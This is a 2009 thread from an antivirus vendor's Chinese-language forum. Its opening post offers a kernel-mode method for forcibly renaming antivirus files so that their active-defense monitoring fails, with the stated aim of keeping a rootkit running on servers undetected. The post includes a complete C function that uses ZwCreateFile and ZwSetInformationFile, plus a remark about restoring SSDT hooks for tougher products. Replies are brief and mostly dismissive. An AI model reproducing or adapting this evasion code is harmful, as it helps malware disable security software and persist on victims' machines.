微点交流论坛
» 游客:  注册 | 登录 | 帮助

 

作者:
标题: RING0强穿所有主动防御
qq646830734
注册用户




积分 96
发帖 96
注册 2009-4-5
#1  RING0强穿所有主动防御

你信点饭的这篇文章吗?
                                 选择:A信   B不信    C不知道
-------------------------------------------------------------------------------------------------------------------------------
这篇文章本来前2天就打算发出来的,最近手头有点小事,今天有空就把这篇文章整理出来了,前面先说点题外话。对于传统的远控来说,由于流传面积广,都成为各大杀软的重点查杀目标。不光特征码多,还有个致命缺陷。那就是关键释放过程早已被杀软熟悉了,严格的来说,这些木马的行为已经被杀软所掌握。如注射远程线程,启动傀儡IE,加载驱动,注册服务,修改敏感系统注册表键值等,这些行为靠修改特征码是很难做到的。所以经常出现这样的情况,刚做好的免杀过不了多久总会被杀软查杀。基本处于 免杀->被杀->在免->再被杀 尤其是象鸽子 PS这样的远控,如果是仅仅为控制好玩,那我不多说什么了。如果要使自己的ROOTKIT能够在服务器上长期存在,那么势必要自己独立开发一款属于自己的ROOTKIT,这个不是今天要讲的主题,以后有时间了,在发写如何编写ROOTKIT的文章,上周我发了一篇关于“一句话过360监控”的帖子,好象前天360已经修复了这个漏洞。今天我就说下,如何打造穿透所有杀软监控的程序。

首先 明确一点 当一个文件的路径被改变的时候,其应用程序就会发生错误,要么退出,要么崩溃。一般杀软为了保护自己的文件不被重命名,要么设置文件为“只读”属性,,要么利用Inline Hook IofCallDriver拦截删除(重命名)文件请求的API 如(CreateFile()),这样保护了自己的文件不被删除或重命名。其实重命名就是一个删除文件,再建文件的过程。

关于具体的实现代码,请百度或者google下,关于ring3下利用createFile()和Inline Hook IofCallDriver保护文件不被删除的原理,这里主要将如何强行重命名文件,导致杀软的所有监控失效。

对于一句话过360监控,我们是通过MoveFile()实现的,跟踪MoveFile可知,它会调用ZwSetInformationFile实现文件移动功能,这里要说下关于FileInformation的结构_FILE_RENAME_INFORMATION是未公开的,所以还是逆向下他的结构。

typedef struct _FILE_RENAME_INFORMATION {

BOOLEAN ReplaceIfExists;

HANDLE RootDirectory;

ULONG FileNameLength;

WCHAR FileName[1];

} FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION;

其中ReplaceIfExists判断是否存在重命名的文件夹,RootDirectory 文件的绝对物理路径,ULONG FileNameLength文件名字长度,FileName文件名。这里说下,关于FileNameLength这个参数可以通过sizeof()这个函数获得,我们的实现过程如下,利用ZwCreateFile()打开文件夹,利用ZwSetInformationFile修改文件名。其实现代码如下:

NTSTATUS Rename(PCHAR szFileName1,PCHAR szFileName2)

{

FILE_RENAME_INFORMATION fri;

IO_STATUS_BLOCK iostatus;

OBJECT_ATTRIBUTES oa;

UNICODE_STRING pathnameW;

ANSI_STRING pathnameA;

NTSTATUS status;

HANDLE hfile =NULL;

CHAR szFileNameL[MAXPATHLEN];

strcpy(szFileNameL,"\\\\DosDevices\\\\");

strcat(szFileNameL,szFileName1);

RtlInitAnsiString(&pathnameA,szFileNameL );

RtlAnsiStringToUnicodeString(&pathnameW,&pathnameA,TRUE);

InitializeObjectAttributes(&oa, &pathnameW, OBJ_CASE_INSENSITIVE, NULL, NULL);

status = ZwCreateFile(&hfile, DELETE, &oa, &iostatus, NULL, 0, FILE_SHARE_READ,FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL,0);

RtlFreeUnicodeString(&pathnameW);

if(!NT_SUCCESS(status))

{

goto done;

}

strcpy(szFileNameL,\"\\\\DosDevices\\\\\");

strcat(szFileNameL,szFileName2);

RtlInitAnsiString(&pathnameA,szFileNameL );

RtlAnsiStringToUnicodeString(&pathnameW,&pathnameA,TRUE);

fri.FileNameLength=pathnameW.Length;

memcpy(fri.FileName,pathnameW.Buffer,pathnameW.Length);

fri.ReplaceIfExists=0;

fri.RootDirectory=0;

status = ZwSetInformationFile(hfile,&iostatus,&fri,sizeof(fri),FileRenameInformation);

RtlFreeUnicodeString(&pathnameW);

done:

if(hfile)

{

ZwClose(hfile);

}

return status;

}

这样就可以实现在RING0下强行重命名文件的效果了。当然对于AVP这样底层HOOK的比较深的杀软来说,事先还是需要恢复SSDT才能重命名文件的。一般来说,他会从驱动层过滤IoCallDriver()的请求,导致文件重命名失效,所以对于一些特殊的杀软还是要"特殊照顾"的。

[ Last edited by qq646830734 on 2009-7-12 at 21:22 ]

※ ※ ※ 本文纯属【qq646830734】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2009-7-12 21:19
查看资料  发送邮件  发短消息   编辑帖子
微点专家
版主

Weizi


积分 11554
发帖 11458
注册 2006-8-27
来自 贵阳
#2  

看不懂

※ ※ ※ 本文纯属【微点专家】个人意见,与【 微点交流论坛 】立场无关※ ※ ※

做个性的自己
2009-7-13 14:49
查看资料  发送邮件  访问主页  发短消息  QQ   编辑帖子
HomeSGerMine
银牌会员

■■微点护卫队队长■■


积分 4888
发帖 4785
注册 2009-3-8
来自 哪里有微点,哪里就有我
#3  

微点不是证实说过不了微点嘛?

※ ※ ※ 本文纯属【HomeSGerMine】个人意见,与【 微点交流论坛 】立场无关※ ※ ※

东方之荣耀,  中华之微点!---Micropint
2009-7-13 15:59
查看资料  发送邮件  发短消息  QQ   编辑帖子
lsj301
银牌会员




积分 1388
发帖 1382
注册 2009-3-16
来自 甘肃兰州
#4  

不懂

※ ※ ※ 本文纯属【lsj301】个人意见,与【 微点交流论坛 】立场无关※ ※ ※

我们一直在默默支持微点!
2009-7-13 20:01
查看资料  发送邮件  发短消息  QQ   编辑帖子
御剑临风.
禁止访问





积分 625
发帖 659
注册 2009-4-10
#5  

N年前我已经发过这个帖子了!

已经证实无法过微点!

※ ※ ※ 本文纯属【御剑临风.】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2009-7-14 03:59
查看资料  发送邮件  发短消息   编辑帖子
yangliu2000
中级用户





积分 209
发帖 209
注册 2009-1-13
#6  



  Quote:
Originally posted by 御剑临风. at 2009-7-14 03:59:
N年前我已经发过这个帖子了!

已经证实无法过微点!

写出来,就没秘密. 微点有办法

※ ※ ※ 本文纯属【yangliu2000】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2009-7-16 12:07
查看资料  发送邮件  发短消息   编辑帖子
坐照
银牌会员

正式版用户


积分 1426
发帖 1422
注册 2009-3-24
来自 湖北宜都
#7  

掘墓的还不少

※ ※ ※ 本文纯属【坐照】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2009-7-16 14:36
查看资料  发短消息  QQ   编辑帖子
littlefritz
版主

微点帮帮团团长


积分 3505
发帖 3502
注册 2009-5-23
来自 微点帮帮团
#8  

嘿嘿,真搞笑

※ ※ ※ 本文纯属【littlefritz】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2009-7-16 19:29
查看资料  发送邮件  访问主页  发短消息  QQ   编辑帖子



论坛跳转:

可打印版本 | 推荐 | 订阅 | 收藏


[ 联系我们 - 东方微点 ]


北京东方微点信息技术有限责任公司 福建东方微点信息安全有限责任公司

闽ICP备05030815号